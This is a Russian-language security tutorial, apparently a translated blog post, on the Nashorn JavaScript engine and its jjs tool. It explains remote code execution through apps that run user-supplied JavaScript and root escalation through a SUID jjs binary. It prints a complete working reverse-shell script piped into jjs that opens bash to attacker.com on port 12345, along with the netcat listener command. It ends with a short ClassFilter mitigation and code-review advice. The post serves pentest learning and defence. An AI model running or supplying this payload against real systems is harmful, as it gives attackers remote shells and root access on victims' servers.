ЯВА… ЯВАСКРИПТ.

Хотя это совершенно разные языки, один для серверной разработки, а другой для клиентской. Насколько было бы приятно, если бы java-код выполнялся внутри javascript и наоборот? Конечно, результаты будут потрясающими!!! Давайте перейдем непосредственно к концепции. Вы слышали о Насхорне ??

Nashorn – это высокопроизводительный движок JavaScript, разработанный на языке Java. Это позволяет разработчику выполнять JavaScript на Java и наоборот. После Java SE 7 Nashorn стал официальным движком JavaScript, и все JDK поставляются с ним. Он обеспечивает от 2 до 10 раз более высокую производительность, поскольку напрямую компилирует код в памяти и передает байт-код в JVM.

Почему Нашорн?

Когда мы говорим, что Nashorn помогает выполнять код JavaScript на Java и наоборот, первый вопрос, который приходит на ум, звучит так: Разве выполнение кода JavaScript на Java не является проблемой безопасности?», и перед глазами всплывает список уязвимостей. Вот несколько причин, по которым это может потребоваться: Настройка Конечный пользователь может изменять код без перекомпиляции всего Java-приложения и Повторное использование кода. Разработчики могут использовать код для проверки ввода на стороне клиента, и его можно повторно использовать на стороне сервера, поскольку бизнес-логика остается прежней.

Для взаимодействия с Nashorn JavaScript Engine JDK поставляется с двумя инструментами командной строки Java Java Script (jjs) и jrunscript. Давайте пока рассмотрим jjs.

Java Java Script (jjs) — рекомендуемый клиент для взаимодействия с Nashorn. Мы можем написать код JavaScript, встроить в него фрагменты Java и выполнить файл javascript с помощью jjs. Точно так же мы можем написать код Java и встроить фрагменты JavaScript. Помимо разработки, давайте перейдем к аспекту безопасности.

Проверки дел

Предположим, в веб-приложении есть функция, при которой приложение принимает код/файл javascript от пользователей, а серверная часть позволяет файлам javascript выполнять несколько операций. Если вы когда-нибудь увидите какую-либо подобную функциональность, прыгайте, чтобы узнать об этой уязвимости.

Предоставьте приложению код javascript, чтобы мы могли выполнять удаленное выполнение кода на сервере.

Пример кода:

Во время PenTest, когда вы найдете любой интересный файл SUID с /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs (при запуске LinEnum или любого другого скрипта для повышения привилегий), то вот быстрый эксплойт, который позволит вам получить root-доступ через повышение привилегий. Итак, следуйте GTFobins — JJS Exploit.

Сценарий POC показан ниже:

Обратный шелл:

Он может отправить обратную оболочку прослушивающему злоумышленнику, чтобы открыть удаленный доступ к сети.

  • Запустите nc -nvlp 12345 на атакующем, бокс, чтобы получить оболочку.
export RHOST=attacker.com
export RPORT=12345
echo 'var host=Java.type("java.lang.System").getenv("RHOST");
var port=Java.type("java.lang.System").getenv("RPORT");
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs

Тада!! мы будем в машине.

Исправления:

Для разработчиков:

Мы можем смягчить эту уязвимость, внедрив интерфейс ClassFilter. Этот интерфейс содержит метод exposeToScripts. Переопределяя этот метод, мы можем предотвратить вызов опасных методов через API отражения.

Лучший способ найти эту уязвимость — вручную просмотреть код. Попробуйте поискать в исходном коде такие ключевые слова, как nashorn, javax.script. Если приложение использует Nashorn Script Engine, просмотрите исходный код, чтобы убедиться, что ClassFilter реализован.

Если вы проводите пентест, ищите функциональность, которая принимает javascript в качестве входных данных. Измените полезную нагрузку эксплойта, упомянутую ранее, чтобы выполнить удаленное выполнение кода или получить обратную оболочку от жертвы.

Попробуйте HTB Mango Box для такого повышения привилегий.

Удачного обучения, ребята!! Пожалуйста, не стесняйтесь предлагать, если есть :)

P.S

Фрагменты кода не принадлежат мне!!